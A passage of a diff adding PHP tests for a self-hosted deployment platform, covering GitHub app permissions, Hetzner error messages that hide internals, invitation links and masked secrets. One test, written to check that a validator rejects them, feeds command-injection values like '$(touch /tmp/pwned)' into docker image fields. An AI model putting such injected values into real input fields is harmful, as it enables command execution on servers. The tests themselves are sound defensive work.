||||
'private_key' => validPrivateKey(),
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
@@ -84,7 +243,7 @@ describe('GitHub Source Change Component', function () {
|
||||
test('can update github app from null to valid values', function () {
|
||||
$privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => 'test-private-key-content',
|
||||
'private_key' => validPrivateKey(),
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
@@ -157,8 +316,8 @@ describe('GitHub Source Change Component', function () {
|
||||
|
||||
// Verify the database was updated
|
||||
$githubApp->refresh();
|
||||
expect($githubApp->app_id)->toBe('1234567890');
|
||||
expect($githubApp->installation_id)->toBe('1234567890');
|
||||
expect($githubApp->app_id)->toBe(1234567890);
|
||||
expect($githubApp->installation_id)->toBe(1234567890);
|
||||
});
|
||||
|
||||
test('checkPermissions validates required fields', function () {
|
||||
@@ -179,6 +338,8 @@ describe('GitHub Source Change Component', function () {
|
||||
->assertSuccessful()
|
||||
->call('checkPermissions')
|
||||
->assertDispatched('error', function ($event, $message) {
|
||||
$message = is_array($message) ? implode(' ', $message) : $message;
|
||||
|
||||
return str_contains($message, 'App ID') && str_contains($message, 'Private Key');
|
||||
});
|
||||
});
|
||||
@@ -202,7 +363,70 @@ describe('GitHub Source Change Component', function () {
|
||||
->assertSuccessful()
|
||||
->call('checkPermissions')
|
||||
->assertDispatched('error', function ($event, $message) {
|
||||
$message = is_array($message) ? implode(' ', $message) : $message;
|
||||
|
||||
return str_contains($message, 'Private Key not found');
|
||||
});
|
||||
});
|
||||
|
||||
test('checkPermissions syncs refetched permissions into input fields', function () {
|
||||
$privateKey = PrivateKey::create([
|
||||
'name' => 'Test Key',
|
||||
'private_key' => validPrivateKey(),
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$githubApp = GithubApp::create([
|
||||
'name' => 'Test GitHub App',
|
||||
'api_url' => 'https://api.github.com',
|
||||
'html_url' => 'https://github.com',
|
||||
'custom_user' => 'git',
|
||||
'custom_port' => 22,
|
||||
'app_id' => 12345,
|
||||
'installation_id' => 67890,
|
||||
'client_id' => 'test-client-id',
|
||||
'client_secret' => 'test-client-secret',
|
||||
'webhook_secret' => 'test-webhook-secret',
|
||||
'private_key_id' => $privateKey->id,
|
||||
'team_id' => $this->team->id,
|
||||
'is_system_wide' => false,
|
||||
'contents' => null,
|
||||
'metadata' => null,
|
||||
'pull_requests' => null,
|
||||
]);
|
||||
|
||||
Http::preventStrayRequests();
|
||||
Http::fake([
|
||||
'https://api.github.com/zen' => Http::response('Keep it logically awesome.', 200, [
|
||||
'date' => now()->toRfc7231String(),
|
||||
]),
|
||||
'https://api.github.com/app' => Http::response([
|
||||
'permissions' => [
|
||||
'contents' => 'read',
|
||||
'metadata' => 'read',
|
||||
'pull_requests' => 'write',
|
||||
],
|
||||
]),
|
||||
]);
|
||||
|
||||
Livewire::withQueryParams(['github_app_uuid' => $githubApp->uuid])
|
||||
->test(Change::class)
|
||||
->assertSuccessful()
|
||||
->assertSet('name', 'test-git-hub-app')
|
||||
->assertSet('contents', null)
|
||||
->assertSet('metadata', null)
|
||||
->assertSet('pullRequests', null)
|
||||
->call('checkPermissions')
|
||||
->assertDispatched('success')
|
||||
->assertSet('name', 'test-git-hub-app')
|
||||
->assertSet('contents', 'read')
|
||||
->assertSet('metadata', 'read')
|
||||
->assertSet('pullRequests', 'write');
|
||||
|
||||
$githubApp->refresh();
|
||||
|
||||
expect($githubApp->contents)->toBe('read')
|
||||
->and($githubApp->metadata)->toBe('read')
|
||||
->and($githubApp->pull_requests)->toBe('write');
|
||||
});
|
||||
});
|
||||
@@ -446,3 +446,74 @@ describe('POST /api/v1/servers/hetzner', function () {
|
||||
$response->assertStatus(401);
|
||||
});
|
||||
});
|
||||
|
||||
describe('error responses do not leak exception details', function () {
|
||||
test('locations endpoint returns generic 500 message on upstream failure', function () {
|
||||
Http::fake([
|
||||
'https://api.hetzner.cloud/v1/locations*' => Http::response([
|
||||
'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc /var/secret/path'],
|
||||
], 500),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->getJson('/api/v1/hetzner/locations?cloud_provider_token_id='.$this->hetznerToken->uuid);
|
||||
|
||||
$response->assertStatus(500);
|
||||
$response->assertExactJson(['message' => 'Failed to fetch Hetzner locations.']);
|
||||
expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
|
||||
expect($response->getContent())->not->toContain('/var/secret/path');
|
||||
});
|
||||
|
||||
test('server-types endpoint returns generic 500 message on upstream failure', function () {
|
||||
Http::fake([
|
||||
'https://api.hetzner.cloud/v1/server_types*' => Http::response([
|
||||
'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'],
|
||||
], 500),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->getJson('/api/v1/hetzner/server-types?cloud_provider_token_id='.$this->hetznerToken->uuid);
|
||||
|
||||
$response->assertStatus(500);
|
||||
$response->assertExactJson(['message' => 'Failed to fetch Hetzner server types.']);
|
||||
expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
|
||||
});
|
||||
|
||||
test('images endpoint returns generic 500 message on upstream failure', function () {
|
||||
Http::fake([
|
||||
'https://api.hetzner.cloud/v1/images*' => Http::response([
|
||||
'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'],
|
||||
], 500),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->getJson('/api/v1/hetzner/images?cloud_provider_token_id='.$this->hetznerToken->uuid);
|
||||
|
||||
$response->assertStatus(500);
|
||||
$response->assertExactJson(['message' => 'Failed to fetch Hetzner images.']);
|
||||
expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
|
||||
});
|
||||
|
||||
test('ssh-keys endpoint returns generic 500 message on upstream failure', function () {
|
||||
Http::fake([
|
||||
'https://api.hetzner.cloud/v1/ssh_keys*' => Http::response([
|
||||
'error' => ['message' => 'INTERNAL_LEAK_TOKEN_abc'],
|
||||
], 500),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->getJson('/api/v1/hetzner/ssh-keys?cloud_provider_token_id='.$this->hetznerToken->uuid);
|
||||
|
||||
$response->assertStatus(500);
|
||||
$response->assertExactJson(['message' => 'Failed to fetch Hetzner SSH keys.']);
|
||||
expect($response->getContent())->not->toContain('INTERNAL_LEAK_TOKEN_abc');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,73 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('creates application settings for internally created applications', function () {
|
||||
$team = Team::factory()->create();
|
||||
$project = Project::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
$environment = Environment::factory()->create([
|
||||
'project_id' => $project->id,
|
||||
]);
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
$destination = $server->standaloneDockers()->firstOrFail();
|
||||
|
||||
$application = Application::create([
|
||||
'name' => 'internal-app',
|
||||
'git_repository' => 'https://github.com/coollabsio/coolify',
|
||||
'git_branch' => 'main',
|
||||
'build_pack' => 'nixpacks',
|
||||
'ports_exposes' => '3000',
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$setting = ApplicationSetting::query()
|
||||
->where('application_id', $application->id)
|
||||
->first();
|
||||
|
||||
expect($application->environment_id)->toBe($environment->id);
|
||||
expect($setting)->not->toBeNull();
|
||||
expect($setting?->application_id)->toBe($application->id);
|
||||
});
|
||||
|
||||
it('creates services with protected relationship ids in trusted internal paths', function () {
|
||||
$team = Team::factory()->create();
|
||||
$project = Project::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
$environment = Environment::factory()->create([
|
||||
'project_id' => $project->id,
|
||||
]);
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
]);
|
||||
$destination = $server->standaloneDockers()->firstOrFail();
|
||||
|
||||
$service = Service::create([
|
||||
'docker_compose_raw' => 'services: {}',
|
||||
'environment_id' => $environment->id,
|
||||
'server_id' => $server->id,
|
||||
'destination_id' => $destination->id,
|
||||
'destination_type' => $destination->getMorphClass(),
|
||||
'service_type' => 'test-service',
|
||||
]);
|
||||
|
||||
expect($service->environment_id)->toBe($environment->id);
|
||||
expect($service->server_id)->toBe($server->id);
|
||||
expect($service->destination_id)->toBe($destination->id);
|
||||
expect($service->destination_type)->toBe($destination->getMorphClass());
|
||||
});
|
||||
@@ -0,0 +1,131 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Middleware\CheckForcePasswordReset;
|
||||
use App\Http\Middleware\DecideWhatToDoWithUser;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Team;
|
||||
use App\Models\TeamInvitation;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Config;
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use Illuminate\Support\Once;
|
||||
use Visus\Cuid2\Cuid2;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
|
||||
Once::flush();
|
||||
Config::set('app.maintenance.driver', 'file');
|
||||
Config::set('cache.default', 'array');
|
||||
Config::set('session.driver', 'array');
|
||||
|
||||
if (! InstanceSettings::find(0)) {
|
||||
$settings = new InstanceSettings;
|
||||
$settings->id = 0;
|
||||
$settings->saveQuietly();
|
||||
}
|
||||
});
|
||||
|
||||
function createInvitationLinkFixture(array $invitationAttributes = []): array
|
||||
{
|
||||
$team = Team::factory()->create();
|
||||
$password = 'temporary-password-123';
|
||||
$user = User::factory()->create([
|
||||
'email' => $invitationAttributes['email'] ?? 'invitee@example.com',
|
||||
'password' => Hash::make($password),
|
||||
'force_password_reset' => true,
|
||||
'email_verified_at' => null,
|
||||
]);
|
||||
$uuid = (string) new Cuid2(32);
|
||||
$token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}");
|
||||
$link = route('auth.link', ['token' => $token]);
|
||||
|
||||
$invitation = TeamInvitation::create(array_merge([
|
||||
'team_id' => $team->id,
|
||||
'uuid' => $uuid,
|
||||
'email' => $user->email,
|
||||
'role' => 'member',
|
||||
'link' => $link,
|
||||
'via' => 'link',
|
||||
], $invitationAttributes));
|
||||
|
||||
return [$team, $user, $password, $token, $invitation];
|
||||
}
|
||||
|
||||
it('accepts a valid magic link invitation only once and rotates the temporary password', function () {
|
||||
[$team, $user, $password, $token] = createInvitationLinkFixture();
|
||||
|
||||
$this->get(route('auth.link', ['token' => $token]))
|
||||
->assertRedirect(route('dashboard'));
|
||||
|
||||
$this->assertAuthenticatedAs($user);
|
||||
$this->assertDatabaseMissing('team_invitations', ['email' => $user->email]);
|
||||
expect($user->teams()->where('team_id', $team->id)->exists())->toBeTrue();
|
||||
|
||||
$user->refresh();
|
||||
expect(Hash::check($password, $user->password))->toBeFalse();
|
||||
|
||||
auth()->logout();
|
||||
session()->flush();
|
||||
|
||||
$this->get(route('auth.link', ['token' => $token]))
|
||||
->assertRedirect(route('login'));
|
||||
|
||||
$this->assertGuest();
|
||||
});
|
||||
|
||||
it('rejects a magic link when the invitation was revoked', function () {
|
||||
[, $user, , $token, $invitation] = createInvitationLinkFixture();
|
||||
$invitation->delete();
|
||||
|
||||
$this->get(route('auth.link', ['token' => $token]))
|
||||
->assertRedirect(route('login'));
|
||||
|
||||
$this->assertGuest();
|
||||
expect($user->teams()->where('personal_team', false)->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects a magic link when another invitation exists for the same email', function () {
|
||||
[, $user, , $token, $invitation] = createInvitationLinkFixture();
|
||||
$invitation->delete();
|
||||
|
||||
$otherTeam = Team::factory()->create();
|
||||
TeamInvitation::create([
|
||||
'team_id' => $otherTeam->id,
|
||||
'uuid' => (string) new Cuid2(32),
|
||||
'email' => $user->email,
|
||||
'role' => 'admin',
|
||||
'link' => url('/invitations/other-invitation'),
|
||||
'via' => 'link',
|
||||
]);
|
||||
|
||||
$this->get(route('auth.link', ['token' => $token]))
|
||||
->assertRedirect(route('login'));
|
||||
|
||||
$this->assertGuest();
|
||||
expect($user->teams()->where('team_id', $otherTeam->id)->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
it('rejects a magic link when the invitation expired', function () {
|
||||
[, $user, , $token, $invitation] = createInvitationLinkFixture();
|
||||
$invitation->forceFill([
|
||||
'created_at' => now()->subDays(config('constants.invitation.link.expiration_days') + 1),
|
||||
'updated_at' => now()->subDays(config('constants.invitation.link.expiration_days') + 1),
|
||||
])->save();
|
||||
|
||||
$this->get(route('auth.link', ['token' => $token]))
|
||||
->assertRedirect(route('login'));
|
||||
|
||||
$this->assertGuest();
|
||||
$this->assertDatabaseMissing('team_invitations', ['id' => $invitation->id]);
|
||||
});
|
||||
|
||||
it('rejects a malformed magic link token', function () {
|
||||
$this->get(route('auth.link', ['token' => 'not-a-valid-token']))
|
||||
->assertRedirect(route('login'));
|
||||
|
||||
$this->assertGuest();
|
||||
});
|
||||
@@ -0,0 +1,85 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Middleware\CheckForcePasswordReset;
|
||||
use App\Http\Middleware\DecideWhatToDoWithUser;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Team;
|
||||
use App\Models\TeamInvitation;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Config;
|
||||
use Illuminate\Support\Facades\Crypt;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use Illuminate\Support\Once;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->withoutMiddleware([DecideWhatToDoWithUser::class, CheckForcePasswordReset::class]);
|
||||
Once::flush();
|
||||
Config::set('app.maintenance.driver', 'file');
|
||||
Config::set('cache.default', 'array');
|
||||
Config::set('session.driver', 'array');
|
||||
|
||||
if (! InstanceSettings::find(0)) {
|
||||
$settings = new InstanceSettings;
|
||||
$settings->id = 0;
|
||||
$settings->saveQuietly();
|
||||
}
|
||||
});
|
||||
|
||||
describe('invitation link login', function () {
|
||||
test('does not auto-verify the email address', function () {
|
||||
$team = Team::factory()->create();
|
||||
$password = 'test-password-123';
|
||||
$user = User::factory()->create([
|
||||
'email' => 'invitee@example.com',
|
||||
'password' => Hash::make($password),
|
||||
'email_verified_at' => null,
|
||||
]);
|
||||
$user->teams()->attach($team->id, ['role' => 'member']);
|
||||
|
||||
$uuid = 'email-verification-test-invitation';
|
||||
$token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}");
|
||||
TeamInvitation::create([
|
||||
'team_id' => $team->id,
|
||||
'uuid' => $uuid,
|
||||
'email' => $user->email,
|
||||
'role' => 'member',
|
||||
'link' => route('auth.link', ['token' => $token]),
|
||||
'via' => 'link',
|
||||
]);
|
||||
|
||||
$this->get(route('auth.link', ['token' => $token]));
|
||||
|
||||
$user->refresh();
|
||||
expect($user->email_verified_at)->toBeNull();
|
||||
});
|
||||
|
||||
test('still logs the user in', function () {
|
||||
$team = Team::factory()->create();
|
||||
$password = 'test-password-123';
|
||||
$user = User::factory()->create([
|
||||
'email' => 'invitee2@example.com',
|
||||
'password' => Hash::make($password),
|
||||
'email_verified_at' => null,
|
||||
]);
|
||||
$user->teams()->attach($team->id, ['role' => 'member']);
|
||||
|
||||
$uuid = 'email-verification-login-test-invitation';
|
||||
$token = Crypt::encryptString("{$user->email}@@@{$uuid}@@@{$password}");
|
||||
TeamInvitation::create([
|
||||
'team_id' => $team->id,
|
||||
'uuid' => $uuid,
|
||||
'email' => $user->email,
|
||||
'role' => 'member',
|
||||
'link' => route('auth.link', ['token' => $token]),
|
||||
'via' => 'link',
|
||||
]);
|
||||
|
||||
$this->get(route('auth.link', ['token' => $token]))
|
||||
->assertRedirect(route('dashboard'));
|
||||
|
||||
expect(auth()->id())->toBe($user->id);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,21 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Application\General;
|
||||
|
||||
it('uses safe docker registry image validation rules in the application general form', function () {
|
||||
$component = new General;
|
||||
$method = new ReflectionMethod($component, 'rules');
|
||||
$rules = $method->invoke($component);
|
||||
|
||||
$validator = validator([
|
||||
'dockerRegistryImageName' => 'coolify/poc$(touch /tmp/pwned)',
|
||||
'dockerRegistryImageTag' => 'latest$(touch /tmp/pwned)',
|
||||
], [
|
||||
'dockerRegistryImageName' => $rules['dockerRegistryImageName'],
|
||||
'dockerRegistryImageTag' => $rules['dockerRegistryImageTag'],
|
||||
]);
|
||||
|
||||
expect($validator->fails())->toBeTrue()
|
||||
->and($validator->errors()->has('dockerRegistryImageName'))->toBeTrue()
|
||||
->and($validator->errors()->has('dockerRegistryImageTag'))->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,157 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Shared\ConfigurationChecker;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\Project;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Str;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function configurationCheckerApplication(Environment $environment, array $attributes = []): Application
|
||||
{
|
||||
return Application::factory()->create(array_merge([
|
||||
'environment_id' => $environment->id,
|
||||
'status' => 'running:healthy',
|
||||
'build_command' => 'npm run build',
|
||||
'fqdn' => 'https://example.com',
|
||||
], $attributes));
|
||||
}
|
||||
|
||||
function markConfigurationCheckerApplicationDeployed(Application $application): void
|
||||
{
|
||||
$deployment = ApplicationDeploymentQueue::create([
|
||||
'application_id' => (string) $application->id,
|
||||
'deployment_uuid' => (string) Str::uuid(),
|
||||
'status' => 'finished',
|
||||
'commit' => 'HEAD',
|
||||
]);
|
||||
|
||||
$application->markDeploymentConfigurationApplied($deployment);
|
||||
}
|
||||
|
||||
it('does not render the notification for preview deployment toggles', function () {
|
||||
$application = configurationCheckerApplication($this->environment);
|
||||
markConfigurationCheckerApplicationDeployed($application);
|
||||
|
||||
$application->settings->update(['is_preview_deployments_enabled' => true]);
|
||||
|
||||
Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
|
||||
->assertDontSee('The latest deployment is not using the current configuration')
|
||||
->assertSet('isConfigurationChanged', false);
|
||||
});
|
||||
|
||||
it('renders the changed configuration labels', function () {
|
||||
$application = configurationCheckerApplication($this->environment);
|
||||
markConfigurationCheckerApplicationDeployed($application);
|
||||
|
||||
$application->update(['build_command' => 'pnpm build']);
|
||||
|
||||
Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
|
||||
->assertSee('The latest configuration has not been applied')
|
||||
->assertSee('Build command')
|
||||
->assertSee('A rebuild is required.');
|
||||
});
|
||||
|
||||
it('refreshes configuration changes when the event is received', function () {
|
||||
$application = configurationCheckerApplication($this->environment);
|
||||
markConfigurationCheckerApplicationDeployed($application);
|
||||
|
||||
$component = Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
|
||||
->assertSet('isConfigurationChanged', false)
|
||||
->assertDontSee('The latest configuration has not been applied');
|
||||
|
||||
$application->update(['build_command' => 'pnpm build']);
|
||||
|
||||
$component
|
||||
->dispatch('configurationChanged')
|
||||
->assertSet('isConfigurationChanged', true)
|
||||
->assertSee('The latest configuration has not been applied')
|
||||
->assertSee('Build command');
|
||||
});
|
||||
|
||||
it('refreshes stale modal configuration diff before opening changes', function () {
|
||||
$application = configurationCheckerApplication($this->environment);
|
||||
markConfigurationCheckerApplicationDeployed($application);
|
||||
|
||||
$application->update(['build_command' => 'pnpm build']);
|
||||
|
||||
$component = Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
|
||||
->assertSee('Build command')
|
||||
->assertDontSee('Start command');
|
||||
|
||||
$application->update([
|
||||
'build_command' => 'npm run build',
|
||||
'start_command' => 'node server.js',
|
||||
]);
|
||||
|
||||
$component
|
||||
->call('refreshConfigurationChanges')
|
||||
->assertSet('isConfigurationChanged', true)
|
||||
->assertSee('Start command')
|
||||
->assertDontSee('Build command');
|
||||
});
|
||||
|
||||
it('does not render environment variable secret values', function () {
|
||||
$application = configurationCheckerApplication($this->environment);
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'API_TOKEN',
|
||||
'value' => 'old-secret',
|
||||
'is_buildtime' => false,
|
||||
'is_runtime' => true,
|
||||
'is_preview' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
]);
|
||||
markConfigurationCheckerApplicationDeployed($application->refresh());
|
||||
|
||||
$application->environment_variables()->where('key', 'API_TOKEN')->first()->update(['value' => 'new-secret']);
|
||||
|
||||
Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
|
||||
->assertSee('API_TOKEN')
|
||||
->assertSee('••••••••')
|
||||
->assertDontSee('Hidden')
|
||||
->assertDontSee('old-secret')
|
||||
->assertDontSee('new-secret');
|
||||
});
|
||||
|
||||
it('renders added environment variables as set without exposing secret values', function () {
|
||||
$application = configurationCheckerApplication($this->environment);
|
||||
markConfigurationCheckerApplicationDeployed($application);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'API_TOKEN',
|
||||
'value' => 'new-secret',
|
||||
'is_buildtime' => false,
|
||||
'is_runtime' => true,
|
||||
'is_preview' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
]);
|
||||
|
||||
Livewire::test(ConfigurationChecker::class, ['resource' => $application->refresh()])
|
||||
->assertSee('API_TOKEN')
|
||||
->assertSee('From')
|
||||
->assertSee('-')
|
||||
->assertSee('To')
|
||||
->assertSee('••••••••')
|
||||
->assertDontSee('Hidden')
|
||||
->assertDontSee('new-secret');
|
||||
});
|
||||
@@ -0,0 +1,108 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Application\Advanced;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
function createApplicationForAdvancedStopGracePeriodTest(): Application
|
||||
{
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create(['team_id' => $team->id]);
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
return Application::create([
|
||||
'name' => 'stop-grace-period-test-app',
|
||||
'git_repository' => 'https://github.com/coollabsio/coolify',
|
||||
'git_branch' => 'main',
|
||||
'build_pack' => 'nixpacks',
|
||||
'ports_exposes' => '3000',
|
||||
'environment_id' => $environment->id,
|
||||
'destination_id' => $server->standaloneDockers()->firstOrFail()->id,
|
||||
'destination_type' => $server->standaloneDockers()->firstOrFail()->getMorphClass(),
|
||||
]);
|
||||
}
|
||||
|
||||
beforeEach(function () {
|
||||
$this->actingAs(User::factory()->create());
|
||||
});
|
||||
|
||||
it('saves a valid stop grace period', function () {
|
||||
$application = createApplicationForAdvancedStopGracePeriodTest();
|
||||
|
||||
Livewire::test(Advanced::class, ['application' => $application])
|
||||
->set('stopGracePeriod', '300')
|
||||
->call('saveStopGracePeriod')
|
||||
->assertHasNoErrors()
|
||||
->assertDispatched('success');
|
||||
|
||||
expect($application->settings()->first()->stop_grace_period)->toBe(300);
|
||||
});
|
||||
|
||||
it('dispatches configuration changed when advanced settings are saved', function () {
|
||||
$application = createApplicationForAdvancedStopGracePeriodTest();
|
||||
|
||||
Livewire::test(Advanced::class, ['application' => $application])
|
||||
->set('includeSourceCommitInBuild', true)
|
||||
->call('submit')
|
||||
->assertHasNoErrors()
|
||||
->assertDispatched('configurationChanged');
|
||||
});
|
||||
|
||||
it('clears the stop grace period when submitted empty', function () {
|
||||
$application = createApplicationForAdvancedStopGracePeriodTest();
|
||||
$application->settings->update(['stop_grace_period' => 300]);
|
||||
|
||||
Livewire::test(Advanced::class, ['application' => $application->fresh()])
|
||||
->set('stopGracePeriod', '')
|
||||
->call('saveStopGracePeriod')
|
||||
->assertHasNoErrors()
|
||||
->assertDispatched('success');
|
||||
|
||||
expect($application->settings()->first()->stop_grace_period)->toBeNull();
|
||||
});
|
||||
|
||||
it('rejects invalid stop grace periods', function (string $value, string $rule) {
|
||||
$application = createApplicationForAdvancedStopGracePeriodTest();
|
||||
|
||||
Livewire::test(Advanced::class, ['application' => $application])
|
||||
->set('stopGracePeriod', $value)
|
||||
->call('saveStopGracePeriod')
|
||||
->assertHasErrors(['stopGracePeriod' => [$rule]]);
|
||||
|
||||
expect($application->settings()->first()->stop_grace_period)->toBeNull();
|
||||
})->with([
|
||||
'below minimum' => ['0', 'min'],
|
||||
'above maximum' => [(string) (MAX_STOP_GRACE_PERIOD_SECONDS + 1), 'max'],
|
||||
'malformed integer' => ['10abc', 'integer'],
|
||||
'decimal' => ['1.9', 'integer'],
|
||||
]);
|
||||
|
||||
it('uses one second deployment timeout in local only when stop grace period is unset', function () {
|
||||
config(['app.env' => 'local']);
|
||||
|
||||
$setting = new ApplicationSetting;
|
||||
|
||||
expect($setting->deploymentStopGracePeriodSeconds())->toBe(MIN_STOP_GRACE_PERIOD_SECONDS);
|
||||
|
||||
$setting->stop_grace_period = 10;
|
||||
|
||||
expect($setting->deploymentStopGracePeriodSeconds())->toBe(10);
|
||||
});
|
||||
|
||||
it('uses default deployment timeout outside local when stop grace period is unset', function () {
|
||||
config(['app.env' => 'production']);
|
||||
|
||||
$setting = new ApplicationSetting;
|
||||
|
||||
expect($setting->deploymentStopGracePeriodSeconds())->toBe(DEFAULT_STOP_GRACE_PERIOD_SECONDS);
|
||||
});
|
||||
@@ -0,0 +1,121 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Application\General;
|
||||
use App\Livewire\Project\New\PublicGitRepository;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
InstanceSettings::unguarded(function () {
|
||||
InstanceSettings::updateOrCreate(['id' => 0], []);
|
||||
});
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
describe('PublicGitRepository port handling for railpack', function () {
|
||||
test('switching to railpack resets port to 3000 when not static', function () {
|
||||
Livewire::test(PublicGitRepository::class, ['type' => 'public'])
|
||||
->set('build_pack', 'dockerfile')
|
||||
->assertSet('port', 3000)
|
||||
->set('build_pack', 'railpack')
|
||||
->assertSet('port', 3000);
|
||||
});
|
||||
|
||||
test('switching to railpack preserves port when isStatic is true', function () {
|
||||
$component = Livewire::test(PublicGitRepository::class, ['type' => 'public'])
|
||||
->set('isStatic', true)
|
||||
->call('instantSave');
|
||||
|
||||
// After instantSave with isStatic=true, port becomes 80
|
||||
$component->assertSet('port', 80);
|
||||
|
||||
// Switching from nixpacks to railpack should NOT clobber port back to 3000
|
||||
$component->set('build_pack', 'railpack')
|
||||
->assertSet('port', 80);
|
||||
});
|
||||
|
||||
test('switching to static sets port to 80 and disables show_is_static', function () {
|
||||
Livewire::test(PublicGitRepository::class, ['type' => 'public'])
|
||||
->set('build_pack', 'static')
|
